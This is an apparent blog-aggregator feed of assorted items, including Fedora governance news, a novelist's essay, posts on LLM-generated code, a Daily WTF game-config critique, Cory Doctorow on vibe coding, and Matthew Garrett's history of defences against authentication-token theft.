If any other readers have received an odd message from LWN, it is an attempt at a hoax; if in doubt, please check the DKIM header of the email. Any email that does come from LWN will have a proper DKIM signature in its headers.

If you receive such a message, please feel free to send it to us, with its headers intact. But to reiterate, we are not providing any user information upon request, nor banning any accounts. We hope this will not be a recurring problem.

Fedora Council proposes pausing Community Initiatives [LWN.net]

Aoife Moloney has, on behalf of the Fedora Council, posted an announcement that the Fedora Council is "proposing we pause the Community Initiatives process as an official project process" because it has decided the current process is ineffective. It is also closing discussion regarding the AI developer desktop initiative covered by LWN in May.

The Fedora Objectives/Initiatives framework was never intended as a mandatory prerequisite to do the work in Fedora. It supposed to help by focusing the community on a certain work when needed, not to decide what is allowed. The AI developer desktop initiative proposal highlighted that the Community Initiatives process has failed to serve as a good framework in Fedora where new ideas can surface, receive respectful feedback, and gain Council support for work that fits the project's present and/or future. This is something that the Council must address.

As a first step, we would like to halt the community initiative process immediately. Existing initiatives in flight (Fedora Forge, Atomic, and Fedora Docs 2026) will continue with full Council backing. Their underlying work will be completed as planned in their current timeboxed state, though the administrative framework around them may evolve. As a second step, we would like to work out a new mechanism to allow Council to set strategic direction in an open, transparent way that more intentionally includes the community voice. We recognise that we have to be better at being more open in our discussions and decision making.

The council is considering the "sandbox" proposal as an alternative or supplement to a process that replaces the Community Initiatives.

17:00

The Big Idea: Clara Ward [Whatever]

“What belongs to the sea will always return to the sea.” Author Clara Ward has always been drawn to the ocean, spent time teaching others about the ocean, and now has featured the ocean in their newest novel, Dream the Deep. Dive into their Big Idea to see how deep the water goes.

CLARA WARD:

Science tells us cephalopod arms use decentralized neural processing. I changed things up by adding a human dreamer to the mix.

My first challenge in writing Dream the Deep was to create a human point-of-view character whose shared control of a limb might benefit a cephalopod. As a neurodivergent researcher, Ryn already views everyday life as a puzzle spiked with inherent obstacles. Being called upon to adjust and flatten a long, thin body/arm to retrieve a fragile crustacean from a crevice with sharp edges turns out to be easier for Ryn than navigating breakfast with humans.

Folks in 2139 may not fault Ryn for being neurodivergent or nonbinary, but Academy society is structured to manipulate those with less power, promote rivalries over friendships, and coerce productivity in place of personal development. Ryn hasn’t seen the outside world in ten years. Their anxieties and misperceptions have been exploited since they were recruited from a climate refugee camp. Teenage dreams of exploring new energy sources and storage options have been reshaped to suit billionaires intent on going to Mars.

As someone twice Ryn’s age but born a century-and-a-half earlier, I entered Caltech as a starry-eyed and optimistic teenager with dreams of designing structures for space. I helped design one. It never got built. In further contrast to Ryn’s experiences, I navigated being nonbinary and neurodivergent without any terminology to explain misperceptions, even to myself. Emerging, eventually, from a time and place that didn’t offer words for my lived experience, felt a lot like venturing outside after years in captivity.

So what is Ryn’s issue in navigating breakfast with humans? In this case, a muffin. In one moment of allergy-induced anaphylactic shock, Ryn loses their work, housing, medical care, and shot at Mars—all through a single act by an unknown enemy.

Feeling betrayed by all around them and believing they will lose everything in five days, provides a more-than-metaphorical opportunity for Ryn to pursue new dreams.

As for me, since college I’ve been an engineer, a teacher, a group home counselor, a nanny, a robotics mentor, an ocean educator, a parent, and a writer of stories about scientists and sea creatures. While I wasn’t always happy, I learned a lot from each experience. This didn’t only apply to work. I went from denying an ill-suited label from the 1970s to embracing my neurodivergence. I built relationships that made sense to me and, when the language caught up, came out as queer and nonbinary.

Each time I made a major life change and it didn’t blow up in my face, I trusted my reasoning and perspective a bit more. My time was equally valuable as a nanny or an engineer; both choices were equally valid for me; and my pronouns didn’t matter in either case. Over time, I became increasingly comfortable in my own brain and appreciated making my own life choices.

In Ryn’s cephalopod dreams, they learn to care for the seafloor and for a future generation. During the day, Ryn is finally able to follow their own research leads along with insights gleaned from their dreams and from new human confidants. A reclusive hacker, Akira, sends them to question Jay, a newly assigned guard. Jay overcomes Ryn’s preconceptions by sharing coveted hot chocolate, appreciating Odo in Deep Space Nine, and falling asleep in Ryn’s bed—causing Ryn to reevaluate all sorts of life choices, and that’s only day two. 

I never meant for Ryn to be a hero. Much about their life is beyond their comprehension or control. Rather than a hero’s journey, they’re diving deeper, passing through layers of deception to explore a greater unknown. But with a few allies, increased agency, and better information, they chart a new course for their life. 

Meanwhile, other characters—each planning for similar contingencies while evaluating costs to themselves, others, and ecosystems—make their own life-altering decisions.

An only slightly-biased cephalopod experiences the humans as many arms contributing—whether through knowledge of marine rovers or by coordinating fine pincher movements—toward a larger goal.

While sharing dreams and teaming up with a giant cephalopod may be outside my personal experience, I’ve embraced my share of bizarre dreams, and been drawn back to the ocean time and time again. I’ve learned to value small joys, like hot chocolate and falling asleep while watching shows with good friends. The field of science fiction has morphed around me to admit seemingly small, personal stakes in storytelling may matter as much as world-changing powers (human or otherwise). In life as in fiction, I welcome new perspectives and dreams large and small, that open our eyes and minds to new, maybe better, possibilities.


Dream the Deep: Amazon|Barnes & Noble |Bookshop|Kobo|Atthis Arts

Author Socials: Website

Read an excerpt. 

16:42

Link [Scripting News]

AI should be like a lawyer or doctor, first responsibility is to the user. And first, do no harm.

Link [Scripting News]

An observation about Fable 5 in Claude Code. It's a much better writer than Opus 4.8. One of our next big things is writing docs, and all the info is in Claude. Opus was a disaster as a docs writer. This one looks like it'll be good. Whew.

16:14

15:28

Joey Hess: no LLM code in dependencies [Planet Debian]

I've spent about 100 hours of work over the past month to make sure git-annex can build without dependencies that contain LLM generated code. At least so far.

https://git-annex.branchable.com/no_llm_code/

Needing to review a program's whole dependency tree on an ongoing basis is apparently what programming has come to?

I've found some real stinkers. Large LLM generated changes being reverted in the next release without any explanation. An incoherent 1489 line commit message with 10,000 lines of changes to a 26,000 LOC code base. A LLM prompt to copy code from another project that seems to have only avoided being copyright infringement due to luck.

I now have additional information about the quality of dependencies which will surely influence future decisions. As far as I can see, that's the only positive benefit of this work.

I realize that I am probably trying to hold back the tide at this point. That appears to be why Software Freedom Conservancy punted, and I doubt that the FSF will do any better.

As these dominos fall, I am reconsidering my participation in these communities. But I continue my work and support my users.

It may seem easy to prompt a LLM with

Add fourmolu config and restyled

neat

format a module

And commit the result and call yourself a 10xer. But please consider the broader impact of your actions. (In the above case, that project lost my further collaboration on it.)

15:21

[$] Two LLM-assisted memory-management patch sets [LWN.net]

The kernel community (like many other free-software projects) has recently seen a large influx of patches developed with the assistance of large language models (LLMs). Those patches tend to come from developers who were previously unknown to the community. At the moment, though, the memory-management developers are evaluating two large patch sets, developed with LLM assistance, that were submitted by established and well-respected developers. The rather different reception accorded to that work may give insights into how LLM-generated contributions will be handled going forward.

14:35

Security updates for Thursday [LWN.net]

Security updates have been issued by AlmaLinux (giflib, kernel, mariadb:10.11, mod_http2, php, rrdtool, ruby, ruby:3.3, and ruby:4.0), Debian (jq and node-lodash), Fedora (caddy, hut, ipp-usb, kernel, opkssh, rclone, thunderbird, and transmission), SUSE (389-ds, 7zip, alsa, amazon-ecs-init, avahi, cadvisor, cosign, cups, dnsdist, docker, dracut, firefox, firewalld, giflib, glib-networking, glycin-loaders, google-cloud-sap-agent, google-guest-agent, gsasl, hauler, helm, ImageMagick, kernel, keylime, krb5, libaom, libexif, libgcrypt, libnfs, libssh2_org, loupe, lrzip, mutt, ncurses, nodejs22, openCryptoki, openssh, openssl-3, pacemaker, perl-Config-IniFiles, perl-CSS-Minifier-XS, perl-DBI, perl-JavaScript-Minifier-XS, perl-libwww-perl, postfix, python-click, python-idna, python-Markdown, python-joblib, python-handy-archives, python-apache-libcloud, python-WebOb, python-PyGithub, python-soupsieve, python-pip, python-pytest-html, python-python-dotenv, python-python-multipart, python-starlette, python-tornado6, python-zeroconf, python311, python311-jupyter-server, rpcbind, sed, sg3_utils, tar, tiff, and util-linux), and Ubuntu (kernel, linux, linux-aws, linux-aws-5.15, linux-aws-fips, linux-azure, linux-azure-5.15, linux-azure-fde-5.15, linux-fips, linux-gcp, linux-gcp-fips, linux-gke, linux-gkeop, linux-hwe-5.15, linux-ibm, linux-ibm-5.15, linux-intel-iot-realtime, linux-intel-iotg, linux-kvm, linux-lowlatency, linux-lowlatency-hwe-5.15, linux-nvidia, linux-nvidia-tegra, linux-nvidia-tegra-5.15, linux-nvidia-tegra-igx, linux-oracle, linux-realtime, linux, linux-aws, linux-aws-fips, linux-gcp, linux-gcp-fips, linux-ibm, linux-nvidia, linux-nvidia-6.8, linux-oracle, linux-realtime, linux-realtime-6.8, linux-oem-6.17, and linux-oem-7.0).

14:28

Link [Scripting News]

You can't learn from your mistakes if you aren't bloody truthful to yourself about what happened and what went wrong.

Link [Scripting News]

I'm working on an app in Claude that has a server and the server has an API. One day we had an aha moment. I bet you (Claude) can control the app via the API. Yes. And now unless we're debugging something in the UI, Claude just interacts via the API. It feels like a person but you have to remember that it's actually a piece of software. ;-)

Link [Scripting News]

I saw a bit of a commencement speech by Eric Schmidt, ex-CEO of Google, where he was talking about AI and getting boo'd by the audience. But he was saying things that were right and should be paid attention to. Most important, and I'm paraphrasing, the AI world is just getting started, and we can change it now most easily, it's malleable. That won't last forever. As Obama says, "Don't boo, vote." Same thing here. AI has already completely changed how we develop software. It's not replacing humans, it's giving us amazing new power. Maybe it will at some point replace us, but don't be so sure that what we do with it might be every bit as new as the things it can do. We have different abilities. And I am old enough to remember a time before personal computers, the internet, the web, mobile devices, all the things that have since become everyday fixtures, and they all had negative aspects, but I would never go back. We're on a train and it's going somewhere. Where it goes is something we all have a say in.

13:42

CodeSOD: The Most Dangerous Game [The Daily WTF]

While we talk about bad video game code periodically, we generally avoid it because it's so specialized and while something like fast inverse square root is bad code from a maintainability perspective, it's great code for abusing floating points to make math fast.

Işıtan Yıldız sends us a snippet from a game's config file. I won't pick on the specific game, but this isn't some random build of TuxCart, but a released game sold on multiple platforms. It's from a small team, but it's an actual professional product running on many devices. What's notable about this is the game has multiplayer elements, which means networking code, which means…

net_socks_buffer_size                                     = 4096;                                //I wouldn't change this if I were you
net_max_message_size                                    = 32768;                       //changing this will require restarting the game.  MUST be power of 2, don't be a dick and make it too big
net_max_download_frames                                 = 16;                          //changing this will require restarting the game.  MUST be power of 2 and smaller than net_max_message_size
net_udp_packet_size                                             = 65536;                       //576 bytes the "recommended" fragment cutoff, ipv6 requires 1080.  The game will check automatically and make sure you aren't out of range (at least on windows it can do this)
net_udp_packet_send_buffer_size                 = 4;                           //how many packets it can store before sending (ideally it shouldn't be storing anything but threads are a b*)
net_udp_packet_recv_buffer_size                 = 8;                           //how many packets we can receive in 1 frame (8 is defualt, it'll discard packets that don't fit... it'll warn you in the console when this happens)
net_udp_force_specified_size                    = false;                      //overrides what the OS recommends, could disable networking and maybe crash the game? who knows
net_udp_enable_checksum                                 = false;                      //probably unnecessary to have UDP checksums, but you can if you want for some reason

… it means you can configure your copy of the game to attempt DoS attacks against other players' network stacks.

I enjoy the warning here: don't be a dick. You can set your max message size to any power of 2, but don't be a dick about it.

The networking settings are fun, and I'm glad to know that I can probably cause the game to crash (either my copy or my fellow players' copies). But can I do something dangerous or even… oh, I don't know, crazy? I really hope I can.

sys_ignore_variable_constraints                   = false;                      //DANGEROUS AS F***, leave off goddamnit you're crazy if you turn this on

That's the spirit! I want every game to add this config flag IMMEDIATELY. Actually, I'm working on a robot: I'm definitely going to add that to my robot software. I'm gonna make the robot arm punch through a wall (note: it's not supposed to punch through walls, and I think a number of people would get very upset with me).

[Advertisement] Keep all your packages and Docker containers in one place, scan for vulnerabilities, and control who can access different feeds. ProGet installs in minutes and has a powerful free version with a lot of great features that you can upgrade when ready.Learn more.

12:14

Cybersecurity Mission Creep in the US [Schneier on Security]

Interesting paper: “Cybersecurity Mission Creep.”

Abstract: Cybersecurity is experiencing mission creep. Policymakers are casting more and more problems as issues of cybersecurity. So reframed, wildly different policy issues, from misinformation, to child social media safety laws, to antitrust regulations, to alleged journalist misconduct, to anti-sex trafficking statutes become what this Article calls “cybersecuritized.” Before this reframing, these issues present as important but not existential. But once cybersecuritization positions the issues as threats intensified by their technological nature, they gain access to the politics and law of urgency and exceptionalism and invite troubling governance responses.

Positioned as security threats, cybersecuritized issues become endowed with the apparent normative power to override countervailing considerations, oversimplifying the problem. Cybersecuritization’s oversimplification similarly risks unidimensional solutions and invites use of argumentative trump cards, like First Amendment challenges. Cybersecuritization also invites deference to purported specialists and their proposed solutions. Together, the reductive tendencies of cybersecuritization and the deference it prompts to specialists renders ultimate governance choices more opaque. And this opacity can erode public trust and political legitimacy.

This Article surfaces the phenomenon of cybersecuritization and offers a novel framework for analyzing and critiquing it. Mining cases from across criminal and civil domains, the account also demonstrates the insidiousness of cybersecuritization and the likelihood that it will continue to expand. Confronting cybersecuritization is crucial. If we continue to ignore it, we risk abdicating further responsibility for difficult choices to the trump card of cybersecurity. This Article’s analysis and critique aim to help reclaim the hard work of governance for our hands.

11:28

Grrl Power #1474 – Mega influencer [Grrl Power]

You know… “RAR” If you know what I mean.

I don’t, actually. I don’t know why it’s in quotes.

I know what you’re all wondering. The symbol on her phone is an eggplant with a bite taken out of it. Admittedly the branding could be a little clearer.

I think Babezilla is clocking in at about 300 feet tall there? The building next to her isn’t 2-story technically, but it’s one of those businesses like an auto repair shop or your basic strip mall structure, so it’s got a false ceiling with all the ductwork and cabling and some HVAC on the roof. So it’s a little shorter than a 2 story house, cause houses have sloped roofs, but it’s about the same height as two stories of an office building, if you ignore the bottom two floors which are usually a high-ceiling lobby and them a mezzanine level. Anyway, that comes up to her ankle, so my back of the napkin my brain calculation puts her at about 300 feet.

Babezilla is 5’5″ normally, so 300 feet means she’s 55x larger, and assuming she starts off at 100 pounds (for easy math,) she’s clocking in at about 8,500 tons now, according to a square cube calculator I found. That’s why the street is cratering under her. The storm drains no likey.

Of course, being 55x larger means the 5,000 mile swim to Senegal (assuming she starts from Galveston) would still be a 90 mile swim for her. She may not have fully realized that. It would be a pretty stupid way to die, getting 3 or 400 miles out and realizing how badly she’d underestimated the distances. Even if she hadn’t gotten past the continental shelf, the water there can be 350-600 feet deep. Though I guess if she started from Galveston, she’d be basically in the middle of the Gulf of Mexico and could angle toward an oil derrick. There’s a lot of them out there. It’s not like she’s stuck at 300 feet tall. She could swim up and be all, “Gosh guys, do you have a helicopter to spare? I think I’m lost.”


Oh, look who it is in the vote incentive. And a not-quite-yet-but-it’s-coming NSFW version over at Patreon.

I think she would get in trouble for doing this. She’d mess up the… floor of the waterfall? Is that what it’s called? The receiving pool? No, probably not that. Anyway, she’d churn things up and cause a ton of weird erosion.

Since you might be wondering, Niagara Falls is about 165 feet high, so Babezilla obviously doesn’t have to be full sized. I’d say she’s about 175-180 feet tall here?


Double res version will be posted over at Patreon. Feel free to contribute as much as you like.

10:28

Left unsaid [Seth's Blog]

It’s difficult to ride a bicycle in the pitch darkness. We need to see where we’re going to avoid obstacles. And it’s hard to maintain our balance.

When we choose to avoid the conversations that make us uncomfortable, we’re pedaling in the dark.

Talk about it. Turn on the lights.

09:14

Valhalla's Things: A Pair of Hair Towel Wraps [Planet Debian]

Posted on July 2, 2026
Tags: madeof:atoms, craft:sewing, FreeSoftWear

Two trapezoid shaped hoods made out of off-white towels: one is still looking new, while the other one has been bleached and roughened by having been washed many times.

Many months ago I had been ordering some furniture from IKEA1 and on one of those orders I got tempted by a hair towel wrap: it mostly worked as an idea, but it was too short for my hair.

On the other hand, I had two old towels I wasn’t using, and a recently unpacked sewing machine.

A towel cut in two trapezoid halves with a STJÄRNBUSKE laid on top of it: the IKEA wrap is a bit less than 10 cm less deep, and at least 30 cm shorter, and is also triangular rather than a trapezoid.

I didn’t plan too much, I just put the STJÄRNBUSKE over the towel, cut, realized that the two pieces didn’t fit with right sides together, cut the second towel (I had planned to make two wraps, anyway, so it wasn’t a big deal), and started sewing by machine in what seemed like a reasonable procedure, taking notes and pictures.

A towel, with its original care label, that has been cut in a trapezoid shape and reassembled into a hood shape with a long triangular tail. The machine sewn finishing is still neat and pristine.

The result was pretty good, and I started using it every time I washed my hair, but then I started to entertain the idea of shooting myself sewing the second one by hand for a video, but never found the time to actually doing it, and the pieces remained in the Pile for months, and months, and way more than a year.

The head of a woman with a turban-like thing on the head, covering all of the hair except for a tiny bit at the center front.

Until one day I bought a meter of cotton cheesecloth (mostly because it was almost cheaper than buying a sample) and it felt like a good material to make a nicely looking head wrapper, to keep my hair out of the way when needed.

A woman in a bathrobe with her head tilted downwards, covered by a towel thing that lies on the back of the head and has a long tail hanging on the front, in the process of being wrapped around the hairs and then brought over the top and back.

A couple months later, it was finally time to bring this project to the top of the list, and even if I was sewing two by hand it went pretty quickly: we had a weekend when it was too hot to do anything else, and by the end of it the wraps were done.

All that remained was finish writing the instructions for my FreeSoftWear patterns website <https://sewing-patterns.trueelena.org/contemporary_unisex/headwear/hair_towel_wrap/index.html>>, and having some pictures taken, and this project was done.

And now, on to documenting a few more things I’ve done lately, and to start working on the other projects I have added to the queue in the meantime.


  1. small things. Like, you know, a kitchen :D↩︎

Pluralistic: The difference between "today's task" and "accretive work" (02 Jul 2026) [Pluralistic: Daily links from Cory Doctorow]

->->->->->->->->->->->->->->->->->->->->->->->->->->->->-> Top Sources: None -->

Today's links



A village revel in a sleepy wood, with many Renaissance peasants having a debauch. In the background is a hulking mainframe computer.

The difference between "today's task" and "accretive work" (permalink)

One thing I've learned about paradoxes: often the answer to the riddle of "how can this one thing have such a contradictory set of features and effects?" is "it's not one thing, it's two things*."

That's the idea that set me on the path to writing about "reverse centaurs" and AI. I was hearing from experienced programmers whom I knew to be reliable narrators of their own experience who described how AI was letting them write the best code of their lives; and from equally experienced and reliable coders who described a nightmare of tech debt: "I work in aviation, and I just don't think anyone should ever fly again, those things are now unsafe at any altitude, thanks to the code I had to sign off on":

https://pluralistic.net/2025/09/11/vulgar-thatcherism/#there-is-an-alternative

For so long as I thought of both of these groups as doing the same thing and getting wildly different outcomes, this was a paradox. But as soon as I realized that the former group were "centaurs" (workers who get to decide and direct their adoption of automation) and the latter were reverse centaurs (workers who were conscripted to serve as peripherals for automation systems), it all snapped into place. It only looked like they were doing the same thing – they were actually engaged in fundamentally different activities, which is why they were having such different experiences.

The same goes for vibe coding. Plenty of people I knew had gotten real value out of vibe coding personal utilities that made things better for them in a way that I instantly recognized from a life spent around people who'd been able to adapt and customize the systems they used to make their lives better:

https://pluralistic.net/2024/01/25/today-in-tabs/#unfucked-rota

Vibe coding can be seen as part of a lineage that includes shell scripting, Applescript, Hypercard and Visual Basic: ways for technical novices to directly create personal software, without having to ask a programmer to interpret their needs (and without having to pay every time they wanted to do something new with their computers):

https://pluralistic.net/2026/06/15/vernacular/#hypercardian

But if that's so, how to make sense of the seeming paradox of all that tech debt? For a tech company, code is a liability, not an asset:

https://pluralistic.net/2026/01/06/1000x-liability/#graceful-failure-modes

AI's pitch to bosses is that they can fire most of their workers in order to terrorize the remainder into tolerating a working life wherein they are made to mark the AI's homework, at superhuman speed, and to assume the blame when it goes wrong. This is obviously a terrible way to write code:

https://pluralistic.net/2024/04/23/maximal-plausibility/#reverse-centaurs

But it's also obviously going to produce terrible code:

https://pluralistic.net/2025/05/27/rancid-vibe-coding/#class-war

So is vibe code a way of empowering people to have the personal, vernacular tools that they design and adapt as they see fit? Or is it a way to shovel technological asbestos into the walls at scale, filling up our high-tech society with ghastly, lethal technical debt we'll be digging our way out of for generations?

Again: the paradox falls away once you realize that personal software you write for yourself is fundamentally different from "production code" that other people have to use, maintain and improve.

In an essay inspired by some thoughts on AI and mathematical theorem proving, Kellan Elliott-McCrea crystallizes this distinction in a really sharp way, bringing in Alex Kontorovich's idea of mathematical "canonization":

By canonization, I mean the process of taking a local, one-off formalization and turning it into library mathematics: general, reusable, coherent, efficient, and compatible with the rest… Canonization often changes the picture itself: the definitions, the abstractions, the API, and sometimes even the statement…

https://laughingmeme.org/2026/06/30/canonization-and-the-overhang.html

Elliott-McCrea posits that making code that is "socially constructed in a way that leaves the team prepared to operate on it, iterate it, and improve it" is the difference between "I got it working" and "something the future can build on."

He's not claiming that "I got it working" is worthless. There's plenty of space for "disposable and single use software." Sure, to a trained software engineer, this might be "bad code" but doing today's task has value, even if the code that performs that task isn't "accretive."

Canonization is accretive. To canonize code is to make it "legible to systems of humans and non-humans operating on it." Free/open source software is the backbone of the canon: "decades of…intelligible, build-on-able work, sitting in public repos."

My "reverse centaurs" thesis isn't just a way to understand how programmers who seem to be doing the same thing can have such different effects. It's also about how the way that the capital was raised for AI requires that it produce as many reverse centaurs as possible, because the only way to recoup the farcical sums associated with AI production is to fire millions of workers and replace them with defective chatbots backstopped by the jobspocalypse's terrorized survivors, who can be made to endlessly toil away at marking the AI's homework because there are so many other workers who'll take their jobs if they refuse.

The point being that while centaurs are good and reverse centaurs are bad, the AI bubble requires the production of reverse centaurs, to the exclusion of centaurs.

In a similar vein, Elliott-McCrea describes how the imperatives of the AI industry are devouring its seed-corn – consuming the canon without putting anything new back in it. In the same way that AI can do endless theorem-proving but is essentially useless for creating "library mathematics: general, reusable, coherent, efficient, and compatible with the rest," AI can write a lot of running code, but the AI industry is further devaluing the already undervalued work of cleanup and canonization. As Elliott-McCrea writes, "the social production of knowledge [is] the seed corn."


Hey look at this (permalink)



A shelf of leatherbound history books with a gilt-stamped series title, 'The World's Famous Events.'

Object permanence (permalink)

#20yrsago Sen. Stevens’ hilariously awful explanation of the Internet https://web.archive.org/web/20060704034735/http://blog.wired.com/27BStroke6/?entry_id=1512499

#20yrsago Best music of 1900s-1920s as MP3s https://web.archive.org/web/20060703112442/http://www.foldedspace.org/weblog/2006/06/in_the_good_old_summertime.html

#15yrsago “No Endorsement” — aligning the interests of creators and fans https://locusmag.com/feature/cory-doctorow-no-endorsement/

#15yrsago Peruvian TV station owners held out for bribes that were 100X larger than those received by judges https://web.archive.org/web/20110705085927/http://fsi.stanford.edu/publications/how_to_subvert_democracy_montesinos_in_peru/

#10yrsago Paralyzed, partially deaf-blind teen with brain tumor beaten bloody by TSA https://wreg.com/news/disabled-st-jude-patient-sues-airport-and-tsa-after-bloody-scuffle-with-airport-police/

#10yrsago China’s “ultra-unreal” literary movement takes inspiration from breathtaking corruption https://lithub.com/modern-china-is-so-crazy-it-needs-a-new-literary-genre/

#10yrsago London luxury property prices plummet after Brexit vote https://www.standard.co.uk/news/london/london-house-prices-slashed-after-brexit-vote-a3285731.html

#5yrsago Biden admin orders an end to surprise billing https://pluralistic.net/2021/07/02/spoil-the-surprise/#surprise-billing

#1yrago Tessa Hulls's "Feeding Ghosts" https://pluralistic.net/2025/07/02/filial-piety/#great-leap-forward


Upcoming appearances (permalink)

A photo of me onstage, giving a speech, pounding the podium.



A screenshot of me at my desk, doing a livecast.

Recent appearances (permalink)



A grid of my books with Will Stahle covers..

Latest books (permalink)



A cardboard book box with the Macmillan logo.

Upcoming books (permalink)

  • "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027
  • "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, April 20, 2027

  • "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2027

  • "The Memex Method," Farrar, Straus, Giroux, 2027



Colophon (permalink)

Today's top sources:

Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America. Fourth draft completed. Submitted to editor.

  • A Little Brother short story about DIY insulin PLANNING

This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net.

https://creativecommons.org/licenses/by/4.0/

Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution.


How to get Pluralistic:

Blog (no ads, tracking, or data-collection):

Pluralistic.net

Newsletter (no ads, tracking, or data-collection):

https://pluralistic.net/plura-list

Mastodon (no ads, tracking, or data-collection):

https://mamot.fr/@pluralistic

Bluesky (no ads, possible tracking and data-collection):

https://bsky.app/profile/doctorow.pluralistic.net

Medium (no ads, paywalled):

https://doctorow.medium.com/

Tumblr (mass-scale, unrestricted, third-party surveillance and advertising):

https://mostlysignssomeportents.tumblr.com/tagged/pluralistic

"When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla

READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer.

ISSN: 3066-764X

07:42

Matthew Garrett: Preventing token theft [Planet Debian]

When you log into a service you’re given an authentication token. Each further request to the site includes that token, allowing the server to figure out who you are and ensuring that you have access to your data. Depending on site policy, this token may either be stored in memory (and so vanish if you restart your browser) or disk. The token is the proof of your identity. As far as the site is concerned, anyone with your token is you. These tokens may be traditional browser cookies, but they may also be stored in either site local storage or (if you’re not using a browser) in some other storage location.

In recent years we’ve seen infostealer malware (like LummaC2) gain the ability to exfiltrate user tokens, allowing attackers to gain access to the user’s data without needing to retain access to the user’s machine. This attack is viable even if the site has strong MFA requirements, so passkeys don’t help. Encrypting the tokens on disk doesn’t prevent the malware from scraping them out of the browser’s RAM or obtaining whatever key is used to encrypt them. This feels like a pretty hard problem to solve.

But that hasn’t stopped people from trying! Dirk Balfanz wrote an IETF draft describing a mechanism for using self-signed certificates for TLS authentication. This uses the mutual authentication feature of the TLS protocol that requires both sides prove their identity to each other. In regular TLS, the remote site presents a signed certificate that tells you who it is. When performing mutual authentication, you then present a certificate to the remote site telling it who you are. These client certificates are largely unused outside enterprise environments because they’re a huge pain to deploy. It’s not so much that this has sharp edges, it’s that it’s entirely made of sharp edges. Managing certificate deployment to your devices is hard. Browsers get confused if the certificates change under them. You have one certificate and it lives forever, so sites you present it to can track your identity. Users are prompted to choose a certificate to authenticate with, and if they pick the wrong one everything breaks and is hard to recover. I’ve deployed this and I did not have a good time.

But Balfanz’s idea was simple. Rather than require certificates to be deployed, browsers would simply generate a certificate on the fly. The goal wasn’t to prove the device or user’s identity in any global way - but it would associate a TLS session with a specific certificate. You could then, for example, include a hash of the certificate in the cookie, and if someone tried to use that cookie without presenting that certificate then the cookie could be rejected. If the browser used a hardware-backed private key for the certificate then it would be impossible for an attacker to steal it. Sure, you could still steal cookies, but you wouldn’t be able to use them.

This was written almost 15 years ago, and seems simple, elegant, and functional. It didn’t happen. Part of the reason for that is that, well, it wasn’t quite so simple. One problem was privacy related. Cookies are only sent after the TLS session is established, so anyone monitoring the network doesn’t know anything about the user identity. A naive implementation of this approach would have meant the client certificate being sent before session establishment, and now user identity can be tracked (no longer an issue if this was implemented on top of TLS 1.3, but this was a log time ago). This was avoided by reordering the client handshake, but that meant having to modify the TLS specification and implementations would have to be updated to support this. Another was that figuring out the granularity of the certificates was difficult. You’d want to use different certificates for every site to avoid them effectively becoming tracking cookies, but you need to provide the certificate before cookies are set, and you don’t know what origin the site is going to set in its cookies. If you generate a certificate for a.example.com and a different one for b.example.com, and a.example.com sets a cookie for *.example.com and includes the certificate you used for a.example.com, that cookie isn’t going to work on b.example.com and things are broken. This meant supporting it wasn’t as straightforward as it seemed - you’d need to ensure that your cookie scope was compatible with the certificate scope. You could probably make this work well enough by aligning it with the Public Suffix List, but there was still some risk of expectations not being aligned.

And, perhaps most importantly, TLS session resumption (replaced by pre-shared keys in TLS 1.3) somewhat defeats the purpose of the exercise - clients store state that allows them to re-establish a TLS connection without performing certificate exchange (this reduces overhead if a connection gets interrupted or you switch to a new network or anything along those lines), and anyone in a position to steal cookies could steal that state as well.

The followup attempt was channel IDs. This simplified the implementation somewhat - rather than certificates, a raw public key would be sent, along with proof of possession of the private key in the form of a signature over a portion of the TLS handshake. This was required even in the event of session resumption, which avoided having to worry about theft of session secrets. The timing of the exchange was after the encrypted session had been established, so user identity couldn’t be leaked that way either. Cookies could then be bound to this identifier. Unfortunately it didn’t really deal with the problem of scoping keys in a way that would match cookie requirements, and the spec suggests that the right way of handling this is to scope keys to TLDs, which would enable user tracking across sites (Chrome’s implementation apparently restricted it to eTLD+1, which would match the third party cookie policy and avoid the tracking risk).

Chrome added support for this, but it was removed in early 2018. The discussion of some of the pain points in that message is interesting, explicitly calling out problems with connection coalescing across domains and the incompatibility with zero-RTT TLS1.3. The overall consensus at the time seems to be that trying to solve this entirely at the TLS layer has too many rough edges, and a different approach should be taken.

And so almost 7 years after the initial draft for origin bound certificates, we come to token binding. This ended up being a rather more complex endeavour, covering 3 different RFCs describing how it impacts TLS, how to incorporate it into HTTP, and how to manage all the various parties involved in the process. The short version is that it’s pretty similar to channel ID, except that there’s also a documented mechanism for allowing tokens to be bound to one party and consumed by another, avoiding any need for widely scoped keys. Token binding effectively solved all the issues in the original proposal, but at the cost of somewhat more complexity.

The RFC was finalised in October 2018. Chrome removed its (incomplete, draft) support for token binding in November 2018. Edge carried support until late 2024. Despite getting all the way through the RFC process, it’s functionally dead.

The process up until this point had been largely initiated by Google, with Microsoft contributing significantly to the token binding standards. The work had been focused on identifying a generic solution to the problem rather than tying it to any specific authentication flow. The next step was in a different direction - rather than trying to fix this for the entire internet, how about we try to fix it for OAuth?

